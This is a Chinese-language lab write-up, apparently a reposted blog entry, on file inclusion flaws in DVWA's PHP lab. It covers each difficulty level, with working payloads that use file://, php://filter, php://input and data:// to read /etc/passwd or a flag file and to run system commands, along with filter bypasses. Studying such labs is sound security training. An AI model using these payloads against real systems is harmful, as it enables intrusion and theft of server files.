文件包含漏洞

文件包含漏洞

知识点


file协议

作用:

用来访问文件(绝对路径,相对路径,网络路径)

示例:

http://www.xx.com?file=file:///etc/passwd

php://filter

作用:

可以用来读取文件源代码并进行base64编码输出

示例:

http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

此时cmd.php文件应是include($cmd)这时用php://filter才可显示出源码

php://input

作用:

执行post数据中的php代码

示例:

http://127.0.0.1/cmd.php?cmd=php://input

POST数据:<?php phpinfo(); ?>

enctype="multipart/form-data" 的时候 php://input 是无效的

当代码$file=$_GET['file'],其实也可以用此协议

data://

作用:

通常可以用来执行php代码

示例:

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>

low

php://input

用harkbar,不知道为啥有时候没用,所以这里选择用bp,

?page=php://input

[POST DATA] :<?php system('ls /');?>

data://

?page=data://text/plain,<?php system('ls');?>

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8%2b

这里注意<?php system('ls /');?>'base64之后'PD9waHAgc3lzdGVtKCdscycpOz8+

但是要将+进行url编码,所以是PD9waHAgc3lzdGVtKCdscycpOz8%2b,不然执行不出

file

绝对路径: ?page=file:///etc/passwd

相对路径: ?page=./test.txt

网络路径: ?page=http://127.0.0.1/dvwa/vulnerabilities/fi/test.txt

代码:

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

?>

可以看到对page没有任何过滤,我们可以包含任何文件

medium

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Input validation

$file = str_replace( array( "http://", "https://" ), "", $file );

$file = str_replace( array( "../", ".."" ), "", $file );

?>

可以看到过滤了http://和https://和../和..",但是并没有什么nuan用,我们仍然可以用php://input,data://进行任意文件读取

high

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Input validation

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {

	// This isn't the page we want!

	echo "ERROR: File not found!";

	exit;

}

?>

对$file进行了限制,规定$file必须是include.php或者file开头,但是我们可以用file://协议进行任意文件读取

?page=file:///flag.txt,这时我们必须知道的是目标文件的绝对路径

impossible

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {

	// This isn't the page we want!

	echo "ERROR: File not found!";

	exit;
}

?>

可知进行了一个白名单限制,我们无法绕过

这里说一下,有时候file协议只能用绝对路径读取,为啥我也不清楚。。

原文地址:https://www.cnblogs.com/NineOne/p/13751354.html